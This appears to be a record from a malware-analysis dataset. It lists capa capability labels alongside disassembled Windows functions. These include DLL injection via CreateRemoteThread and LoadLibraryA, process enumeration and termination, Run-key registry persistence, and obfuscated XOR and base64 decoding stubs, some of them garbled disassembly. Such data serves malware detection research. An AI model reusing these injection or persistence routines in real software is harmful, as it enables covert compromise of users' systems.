joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46fad0
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0x10]
call sym.Install_rocket.exe_public:_void___thiscall_CNsHook::AdjustTokenPrivilegesForNT_void_
mov eax, dword [ebp + 0xc]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x46fb02
xor al, al
jmp 0x46fbf2
mov ecx, dword [ebp - 4]
push ecx
mov ecx, dword [ebp - 0x10]
call sym.Install_rocket.exe_public:_int___thiscall_CNsHook::IsWow64ProcessEx_void__
test eax, eax
je 0x46fb23
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x46fbf2
push 0x48d83c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x14], eax
push str.LoadLibraryA
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x18], eax
push 4
push 0x3000
push 0x200
push 0
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 8], eax
push 0
mov edx, dword [ebp + 8]
push edx
call fcn.004343f0
add esp, 4
add eax, 1
push eax
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x18]
push ecx
push 0
push 0
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x46fba9
xor al, al
jmp 0x46fbf2
push 0x1f4
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x102
je 0x46fbdc
push 0x4000
push 0x200
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret 8
Function at 0x46fc90
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
mov eax, dword [0x49c00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x240], ecx
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0
jne 0x46fcc7
jmp 0x46fe15
push 0x22c
push 0
lea eax, [ebp - 0x230]
push eax
call fcn.0042b580
add esp, 0xc
mov dword [ebp - 0x230], 0x22c
mov ecx, dword [ebp - 0x240]
call sym.Install_rocket.exe_public:_void___thiscall_CNsHook::AdjustTokenPrivilegesForNT_void_
lea ecx, [ebp - 0x230]
push ecx
mov edx, dword [ebp - 0x234]
push edx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 0
je 0x46fe15
mov eax, dword [ebp - 0x228]
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0
jne 0x46fd58
lea ecx, [ebp - 0x230]
push ecx
mov edx, dword [ebp - 0x234]
push edx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
mov dword [ebp - 0x238], eax
jmp 0x46fd0c
mov eax, dword [ebp - 0x23c]
push eax
mov ecx, dword [ebp - 0x240]
call sym.Install_rocket.exe_public:_int___thiscall_CNsHook::IsWow64ProcessEx_void__
test eax, eax
je 0x46fd9a
mov ecx, dword [ebp - 0x23c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x230]
push edx
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_Process32NextW]
mov dword [ebp - 0x238], eax
jmp 0x46fd0c
mov dword [ebp - 0x244], 0
lea ecx, [ebp - 0x244]
push ecx
mov edx, dword [ebp - 0x228]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x240]
call sym.Install_rocket.exe_public:_bool___thiscall_CNsHook::GetModuleAddr_wchar_t_const___unsigned_long_int__unsigned_char___
movzx ecx, al
test ecx, ecx
jne 0x46fde7
lea edx, [ebp - 0x230]
push edx
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_Process32NextW]
mov dword [ebp - 0x238], eax
jmp 0x46fd0c
push 0
mov ecx, dword [ebp - 0x23c]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea edx, [ebp - 0x230]
push edx
mov eax, dword [ebp - 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_Process32NextW]
mov dword [ebp - 0x238], eax
jmp 0x46fd0c
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004298d0
mov esp, ebp
pop ebp
ret 4
Function at 0x46ffe0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x475899
mov eax, dword fs:[0]
push eax
sub esp, 0x8a8
mov eax, dword [0x49c00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ecx, dword [ebp + 8]
call sym.Install_rocket.exe_private:_bool___thiscall_CNsLog::isLog_void_
movzx eax, al
test eax, eax
jne 0x47001f
jmp 0x47019f
lea ecx, [ebp - 0x8b0]
call fcn.004096c0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x8b0]
push ecx
mov ecx, dword [ebp + 8]
call sym.Install_rocket.exe_private:_void___thiscall_CNsLog::GetLogFileName_class_ATL::CStringT_wchar_t__class_ATL::StrTraitATL_wchar_t__class_ATL::ChTraitsCRT_wchar_t_____
push 0x48da0c
lea ecx, [ebp - 0x8b0]
call fcn.00409710
push eax
call fcn.00434296
add esp, 8
mov dword [ebp - 0x8a8], eax
cmp dword [ebp - 0x8a8], 0
je 0x47018d
lea edx, [ebp + 0x10]
mov dword [ebp - 0x8b4], edx
push 0x800
push 0
lea eax, [ebp - 0x810]
push eax
call fcn.0042b580
add esp, 0xc
mov ecx, dword [ebp - 0x8b4]
push ecx
mov edx, dword [ebp + 0xc]
push edx
push 0x400
lea eax, [ebp - 0x810]
push eax
call fcn.00428f20
add esp, 0x10
mov dword [ebp - 0x8b4], 0
lea ecx, [ebp - 0x820]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
lea ecx, [ebp - 0x8ac]
call fcn.004096c0
mov byte [ebp - 4], 1
lea edx, [ebp - 0x810]
push edx
movzx eax, word [ebp - 0x814]
push eax
movzx ecx, word [ebp - 0x816]
push ecx
movzx edx, word [ebp - 0x818]
push edx
movzx eax, word [ebp - 0x81a]
push eax
movzx ecx, word [ebp - 0x81e]
push ecx
movzx edx, word [ebp - 0x820]
push edx
push 0x48da18
lea eax, [ebp - 0x8ac]
push eax
call fcn.00409d20
add esp, 0x24
lea ecx, [ebp - 0x8ac]
call fcn.00409710
push eax
lea ecx, [ebp - 0x8a4]
call fcn.00419120
mov ecx, dword [ebp - 0x8a8]
push ecx
lea ecx, [ebp - 0x8a4]
call fcn.00418620
push eax
call fcn.004343f0
add esp, 4
push eax
push 1
lea ecx, [ebp - 0x8a4]
call fcn.00418620
push eax
call fcn.0043417d
add esp, 0x10
mov edx, dword [ebp - 0x8a8]
push edx
call fcn.0043436a
add esp, 4
lea ecx, [ebp - 0x8a4]
call fcn.004190f0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x8ac]
call fcn.004095a0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x8b0]
call fcn.004095a0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004298d0
mov esp, ebp
pop ebp
ret
Function at 0x4703b0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4758d7
mov eax, dword fs:[0]
push eax
sub esp, 0xa8
mov eax, dword [0x49c00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xb4], ecx
mov ecx, dword [ebp - 0xb4]
call sym.Install_rocket.exe_private:_bool___thiscall_CNsLog::isLog_void_
movzx eax, al
test eax, eax
jne 0x4703f8
jmp 0x47051b
lea ecx, [ebp - 0xb0]
call fcn.004096c0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0xb0]
push ecx
mov ecx, dword [ebp - 0xb4]
call sym.Install_rocket.exe_private:_void___thiscall_CNsLog::GetLogFileName_class_ATL::CStringT_wchar_t__class_ATL::StrTraitATL_wchar_t__class_ATL::ChTraitsCRT_wchar_t_____
push 0x48d9c0
lea ecx, [ebp - 0xb0]
call fcn.00409710
push eax
call fcn.00434296
add esp, 8
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0
je 0x470509
lea edx, [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
lea ecx, [ebp - 0xac]
call fcn.004096c0
mov byte [ebp - 4], 1
mov eax, dword [ebp + 8]
push eax
movzx ecx, word [ebp - 0x14]
push ecx
movzx edx, word [ebp - 0x16]
push edx
movzx eax, word [ebp - 0x18]
push eax
movzx ecx, word [ebp - 0x1a]
push ecx
movzx edx, word [ebp - 0x1e]
push edx
movzx eax, word [ebp - 0x20]
push eax
push 0x48d9c8
lea ecx, [ebp - 0xac]
push ecx
call fcn.00409d20
add esp, 0x24
lea ecx, [ebp - 0xac]
call fcn.00409710
push eax
lea ecx, [ebp - 0xa4]
call fcn.00419120
mov edx, dword [ebp - 0xa8]
push edx
lea ecx, [ebp - 0xa4]
call fcn.00418620
push eax
call fcn.004343f0
add esp, 4
push eax
push 1
lea ecx, [ebp - 0xa4]
call fcn.00418620
push eax
call fcn.0043417d
add esp, 0x10
mov eax, dword [ebp - 0xa8]
push eax
call fcn.0043436a
add esp, 4
lea ecx, [ebp - 0xa4]
call fcn.004190f0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0xac]
call fcn.004095a0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb0]
call fcn.004095a0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004298d0
mov esp, ebp
pop ebp
ret 4
Function at 0x4715e0
Capabilities:
Delete registry value
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x49c00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x218], ecx
lea eax, [ebp - 0x210]
push eax
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x471627
xor eax, eax
jmp 0x4716e6
cmp dword [ebp + 0xc], 0
je 0x4716c3
push 0x208
push 0
lea ecx, [ebp - 0x20c]
push ecx
call fcn.0042b580
add esp, 0xc
cmp dword [ebp + 0x10], 0
jne 0x471663
push 0x104
lea edx, [ebp - 0x20c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
jmp 0x471674
mov eax, dword [ebp + 0x10]
push eax
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov dword [ebp - 0x214], eax
mov eax, dword [ebp - 0x214]
push eax
lea ecx, [ebp - 0x20c]
push ecx
push 1
push 0
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x4716c1
mov ecx, dword [ebp - 0x210]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x4716e6
jmp 0x4716d4
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov ecx, dword [ebp - 0x210]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004298d0
mov esp, ebp
pop ebp
ret 0xc

Function at 0x471720
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 8], ecx
push 0x26c
call fcn.00429e1d
add esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
mov dword [ecx], edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 4]
add ecx, 4
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 0x10]
mov dword [edx + 0x25c], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0x14]
mov dword [ecx + 0x260], edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0x18]
mov dword [eax + 0x264], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 8]
mov dword [edx + 0x268], eax
mov ecx, dword [ebp - 8]
mov dword [ecx], 0
lea edx, [ebp - 0x14]
push edx
push 0
mov eax, dword [ebp - 4]
push eax
push sym.Install_rocket.exe_public:_static_unsigned_long_int___stdcall_CNsReg::MonitorThread_void__
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4717bd
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret 0x14
Function at 0x471aa0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x49c00c]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x224], ecx
mov dword [ebp - 0x220], 7
mov dword [ebp - 0x214], 0xf003f
cmp dword [ebp + 0x14], 0
je 0x471ae6
mov eax, dword [ebp - 0x214]
or eax, 0x100
mov dword [ebp - 0x214], eax
jmp 0x471b01
call sym.Install_rocket.exe_int___cdecl_isWow64_void_
test eax, eax
je 0x471b01
mov ecx, dword [ebp - 0x214]
or ecx, 0x200
mov dword [ebp - 0x214], ecx
lea edx, [ebp - 0x218]
push edx
mov eax, dword [ebp - 0x214]
push eax
push 0
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x471ba1
mov dword [ebp - 0x21c], 0x104
push 0x20a
push 0
lea eax, [ebp - 0x210]
push eax
call fcn.0042b580
add esp, 0xc
lea ecx, [ebp - 0x21c]
push ecx
lea edx, [ebp - 0x210]
push edx
lea eax, [ebp - 0x220]
push eax
push 0
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0x218]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x471b94
lea eax, [ebp - 0x210]
push eax
mov ecx, dword [ebp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov edx, dword [ebp - 0x218]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x471ba3
mov eax, dword [ebp - 0x218]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004298d0
mov esp, ebp
pop ebp
ret 0x14
Function at 0xedfb77
Capabilities:
Encode data using xor

Disassembly:
dec esi
mov dword [esp + esi - 0x418f2e24], esi
dec ebp
mov esi, ebx
dec ecx
sub ebx, 2
call fcn.00aba76b
dec ebx
inc ebp
push edx
dec esi
inc ebp
dec esp
xor esi, dword [edx]
insb byte es:[edi], dx
insb byte es:[edi], dx
add byte [eax - 0x6a], ch
push 0xba136d96
dec eax
lea esp, [esp + 0x10]
jmp fcn.0106ab34
push eax
xchg edi, eax
movsb byte es:[edi], byte [esi]
invalid

Function at 0xedfffe
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
je 0xaa9c5d
mov eax, dword [ecx + edx + 0x20]
jmp 0x10777b4
ja 0xab6ea4
mov eax, esi
sub eax, dword [ecx + edx + 0x10]
jmp 0xefa523
je 0xf01cd4
mov eax, 0x5a4d
cmp word [edx], ax
jmp 0xf01cce
ret
test ecx, ecx
je 0xf01cd4
mov eax, dword [eax + 0x7c]
push ebx
cmp esi, esi
cmc
push edi
stc
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], 0xffffffff
cmp esi, 0xffff
jmp 0xaad4be
mov edi, dword [ecx + edx + 0x18]
test edi, edi
jmp 0xaa5fde
mov dword [ebp - 4], ecx
test esp, esi
jmp 0xab29f6
jl 0xaa9c5d
jmp 0xaabca3
jne 0xf01cd4
mov ecx, dword [eax + 0x78]
cmc
jmp 0xac01c4
pop esi
jmp 0x103ae5c
push ebp
rcl bp, 5
test bp, sp
mov ebp, esp
mov dx, 0x6b3e
xchg dx, dx
mov edx, dword [ebp + 8]
clc
lea esp, [esp - 0x114]
push esi
test edx, edx
jmp 0x102a2d2
mov eax, dword [edx + 0x3c]
lea eax, [eax + edx]
test di, sp
cmp dword [eax], 0x4550
jmp 0xede7ee
jmp 0xaa9c56
je 0xee53b4
xor eax, eax
jmp 0xedfc52
je 0xf01cd4
mov esi, dword [ebp + 0xc]
clc
test esi, esi
jmp 0xaaec9b
mov esp, ebp
movzx ebp, di
mov bp, cx
pop ebp
jmp 0xaafacb
dec edi
add eax, edx
cmp edi, edx
test eax, eax
sub ebx, ebx
mov dword [ebp - 0xc], eax
test edi, edi
jmp 0xed3cac

Function at 0xeed0b7
Capabilities:
Encode data using base64

Disassembly:
sbb di, 0x4107
call fcn.010369e5
push 0x1c11488c
mov dword ss:[eax], ecx
lea esp, [esp + 8]
jmp fcn.01040408
dec eax
rol edi, 0x5b
dec ecx
adc ebx, 4
dec eax
mov dword [esp], 0xd60e2a8b
and edi, 0x89370db0
dec ecx
sbb edi, 2
inc eax
xadd byte [esp + 4], bh
inc eax
sbb bh, bh
inc ecx
movzx edi, word [edi]
xor di, bx
xor di, 0x4f95
not di
push 0x7d94c3a7
inc di
rol di, 1
ror byte [esp + 0xb], 0x24
jae 0xecfc70

Function at 0xeed1bd
Capabilities:
Encode data using base64

Disassembly:
mov eax, dword [ebp + eax*2 - 0x62538f6a]
jmp 0x106a495
push 0xbe1bc702
lea esp, [esp + 8]
je 0xefd813
call fcn.00eda7ab
mov dword [ebp - 4], eax
test ebx, ebx
jmp 0xedc3a2
mov eax, 0x3129c7b5
jmp 0xaba473
call 0xaa8254
Function at 0xef27e6
Capabilities:
Encode data using base64

Disassembly:
push 0xb0993b83
adc esi, 4
not eax
shl byte [esp + 1], 0x65
not word [esp + 1]
not ecx
or eax, ecx
mov dword [esi], eax
jmp 0x1087d88
not bp
inc cx
mov dword [ebx], ebp
dec eax
lea esp, [esp + 0x10]
jmp fcn.0106ab34
dec esp
mov dword [esp + ebp*8 - 0x7f8], edx
pushfd
dec eax
lea ebp, [0xff10d80a]
inc ecx
sal esp, 0x10
push edx
jp 0x1075907
sbb byte [eax], al
mov ebx, 0xf0c65860
dec edi
jl 0xef286c
ror dword [ebp - 0x21b6c00b], cl
out 0x7c, al
dec edx
mov ecx, 0x632d9d8a
adc ebx, dword [eax + esi*4]
pop esi
loop 0xef27ff
loope 0xef2819
push esi
retf 0xdb77
invalid
inc ecx
mov esi, 0xc03917b2
inc cx
mov ebp, dword [ebx]
dec ecx
sal esi, 0x49
inc bp
sub ecx, dword [ecx - 0x3f]
test byte [ecx + 0x66], 0x45
mov esi, dword [ebx + 2]
jp 0x107d249
daa
mov cl, 0xc7
cmp byte [eax], al
xchg byte [eax - 0x74c497a5], dh
std
test dword [ebx], esp
push ebp
xchg esi, eax
scasb al, byte es:[edi]
cmp al, 0xa
movsd dword es:[edi], dword [esi]
xchg esi, eax
aad 0xa
stosd dword es:[edi], eax
sub cl, byte [ecx]
int 0xce
mov word [ebx - 0x60], ss
enter 0x40ad, 8
jl 0xef3438
or dl, byte ds:[ecx]
sbb eax, ebx
lcall 0x5837, 0xcf438748
jg 0xef34ca
retf 0x118e
cmpsd dword [esi], dword es:[edi]
in eax, 0x74
or esi, dword [eax + 0x27]
or byte [ebx - 0x41be9447], 0x59
add al, 0x91
loop 0xef3480
pushal
mov esp, 0xb37225a7
push ecx
pop ss
xchg esi, eax
loop 0xef34fb
push 0x583db592
loop 0xef3483
pop es
aas
mov dword [edi - 0x3787e4d8], edi
mov dh, 0xce
pop eax
mov dword cs:[ecx - 0x5261fec9], esi
mov dword [ecx - 0x5261fec9], esi
mov ss, word [ecx + 0x46]
mov dword [ebp + eax - 0x38067033], esp
sub edx, eax
sub dword [ebx - 0x2b], esi
xor dword [esi - 0x29], esi
rol dword [eax], 1
cmc
int 0x3b
dec eax
mov al, 0xe5
dec edx
clc
invalid
inc cx
sal ebp, 0xf
inc ecx
push ebx
dec eax
rol ebx, 0x5d
inc ebp
movsx eax, ah
dec edx
mov dword [esp - 0x1fdff98], ebp
dec ecx
and esp, 0x5206aeb1
inc cx
sar esp, 0x81
jnp 0xef347a
inc esi
mov edi, dword [esp - 0x5ff70]
dec ebx
lea ebx, [eax + 0x38933682]
adc ebx, ebx
inc edi
lea edi, [edi + 0x42651ac]
inc cx
xor eax, 0xf447a1e
mov dh, 0xdb
inc ecx
not edi
dec ebp
lea edx, [esp + 0x60aa2829]
inc sp
or ebx, ebx
inc ecx
inc edi
inc ecx
shr ebp, 0xae
inc ecx
and eax, 0x67b27e2d
inc ecx
rol edi, 1
inc ecx
sal ah, 0xc3
inc ecx
adc eax, 0xc033f721
and edi, esi
xor eax, eax
dec esp
adc edi, ebp
call fcn.0107eda4
mov ecx, 0xe6312b18
mov edi, dword [esi + 4]
mov cl, byte [esi + 8]
add esi, 6
shld eax, edi, cl
mov dword [esi], eax
call fcn.0108c2b0
mov eax, 0x291ba5b6
mov eax, dword [esi + eax*2 - 0x52374b6c]
mov ecx, 0x2f09aeaa
add ecx, 0x2a2bf19
dec ecx
mov ecx, dword [esi + ecx*2 - 0x6358db80]
jne 0xaa38dc
jge 0x107597b
mov dh, byte [eax + 0x46]
mov ecx, 0x2b61d18a
push ebx
mov ebp, 0x9e7c44cb
test al, 3
xor byte [ebx - 0x3d], dh
aad 0xa
in al, 0x95
ret
push 0xcb86b8a1
dec ecx
adc ebx, 2
push 0x223c6f11
inc cx
and ebp, esi
jmp 0xee9863
lea esp, [esp + 4]
jmp fcn.01040408

Function at 0xefd808
Capabilities:
Encode data using base64

Disassembly:
dec ebx
lea esp, [esp + 4]
jne 0xedc3b1
Function at 0xf0c283
Capabilities:
Encode data using base64

Disassembly:
mov dword [esp], 0x2aaaa85
call fcn.00ee5068
mov ecx, 0xa81a0424
not ecx
mov edi, dword [ecx + esi - 0x57e5fbdb]
bswap ecx
mov cl, byte [esi + 4]
add esi, 6
call fcn.00eee18d
out 0x37, al
mov ebx, edx
jae 0xf0c307
push es
add dword [edx + 0x73666dfe], 4
jle 0xf0c379
or byte [edx - 0x6e4dc3c], dh
mov esi, 0xd481563a
pop eax
mov eax, 0xed5089fa
push es
push eax
jns 0xf0c321
jecxz 0xf0c31f
dec ebp
je 0xf0c319
cli
jmp 0xdb182492
popal
daa
fidivr dword [ebp + 0x20]
xor eax, 0x5e530c35
js 0xf0c3bc
adc dh, ch
jns 0xf0c362
jae 0xf0c3a2
xchg edi, eax
outsb dx, byte [esi]
add al, 0xb5
mov ah, 0xbf
jmp 0x75ee5766
adc edx, dword [ecx + 2]
push edi
mov byte [ebx - 0x1df6cc52], al
xchg ebp, eax
xchg esi, eax
invalid
invalid
Function at 0x401050
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x155c8f4
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401058
xor eax, eax
sub ecx, edx
je 0x4010ec
cmp ecx, 0x40
jb 0x4010d5
movaps xmm2, xmmword [0x155a960]
mov edx, ecx
and edx, 0xffffffc0
nop word [eax + eax]
movups xmm0, xmmword [eax + 0x155c8f4]
movaps xmm1, xmm2
pxor xmm0, xmm2
movups xmmword [eax + 0x155c8f4], xmm0
movups xmm0, xmmword [eax + 0x155c904]
pxor xmm1, xmm0
movups xmmword [eax + 0x155c904], xmm1
movups xmm0, xmmword [eax + 0x155c914]
movaps xmm1, xmm2
pxor xmm0, xmm2
movups xmmword [eax + 0x155c914], xmm0
movups xmm0, xmmword [eax + 0x155c924]
pxor xmm1, xmm0
movups xmmword [eax + 0x155c924], xmm1
add eax, 0x40
cmp eax, edx
jb 0x401080
cmp eax, ecx
jae 0x4010ec
nop dword [eax]
xor byte [eax + 0x155c8f4], 0x18
inc eax
cmp eax, ecx
jb 0x4010e0
mov ecx, 0x155c8fc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4010f4
xor eax, eax
sub ecx, edx
je 0x40117c
cmp ecx, 0x40
jb 0x401164
movaps xmm2, xmmword [0x155a960]
mov edx, ecx
and edx, 0xffffffc0
movups xmm0, xmmword [eax + 0x155c8fc]
movaps xmm1, xmm2
pxor xmm0, xmm2
movups xmmword [eax + 0x155c8fc], xmm0
movups xmm0, xmmword [eax + 0x155c90c]
pxor xmm1, xmm0
movups xmmword [eax + 0x155c90c], xmm1
movups xmm0, xmmword [eax + 0x155c91c]
pxor xmm0, xmm2
movups xmmword [eax + 0x155c91c], xmm0
movups xmm0, xmmword [eax + 0x155c92c]
pxor xmm0, xmm2
movups xmmword [eax + 0x155c92c], xmm0
add eax, 0x40
cmp eax, edx
jb 0x401112
cmp eax, ecx
jae 0x40117c
nop dword [eax + eax]
xor byte [eax + 0x155c8fc], 0x18
inc eax
cmp eax, ecx
jb 0x401170
mov ecx, 0x155c8e4
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401184
xor eax, eax
sub ecx, edx
je 0x40120c
cmp ecx, 0x40
jb 0x4011f4
movaps xmm2, xmmword [0x155a960]
mov edx, ecx
and edx, 0xffffffc0
movups xmm0, xmmword [eax + 0x155c8e4]
movaps xmm1, xmm2
pxor xmm0, xmm2
movups xmmword [eax + 0x155c8e4], xmm0
movups xmm0, xmmword [eax + 0x155c8f4]
pxor xmm1, xmm0
movups xmmword [eax + 0x155c8f4], xmm1
movups xmm0, xmmword [eax + 0x155c904]
pxor xmm0, xmm2
movups xmmword [eax + 0x155c904], xmm0
movups xmm0, xmmword [eax + 0x155c914]
pxor xmm0, xmm2
movups xmmword [eax + 0x155c914], xmm0
add eax, 0x40
cmp eax, edx
jb 0x4011a2
cmp eax, ecx
jae 0x40120c
nop dword [eax + eax]
xor byte [eax + 0x155c8e4], 0x18
inc eax
cmp eax, ecx
jb 0x401200
mov ecx, 0x155c8b0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401214
xor eax, eax
sub ecx, edx
je 0x40129c
cmp ecx, 0x40
jb 0x401284
movaps xmm2, xmmword [0x155a960]
mov edx, ecx
and edx, 0xffffffc0
movups xmm0, xmmword [eax + 0x155c8b0]
movaps xmm1, xmm2
pxor xmm0, xmm2
movups xmmword [eax + 0x155c8b0], xmm0
movups xmm0, xmmword [eax + 0x155c8c0]
pxor xmm1, xmm0
movups xmmword [eax + 0x155c8c0], xmm1
movups xmm0, xmmword [eax + 0x155c8d0]
pxor xmm0, xmm2
movups xmmword [eax + 0x155c8d0], xmm0
movups xmm0, xmmword [eax + 0x155c8e0]
pxor xmm0, xmm2
movups xmmword [eax + 0x155c8e0], xmm0
add eax, 0x40
cmp eax, edx
jb 0x401232
cmp eax, ecx
jae 0x40129c
nop dword [eax + eax]
xor byte [eax + 0x155c8b0], 0x18
inc eax
cmp eax, ecx
jb 0x401290
ret
Function at 0x710c7a
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x7109ec
add edi, edi
call fcn.00710cb7
add edi, 0xc8e95282
add edi, ecx
and edi, ecx
xor dword [esi], edx
add edi, ecx
or ecx, edi
inc esi
add edi, 0x53541ad6
sub ecx, edi
cmp esi, ebx
jne fcn.00710c7a
mov ecx, 0x1618098
dec edi
sub esp, 4
mov dword [esp], 0x9a4575c3
pop ecx
ret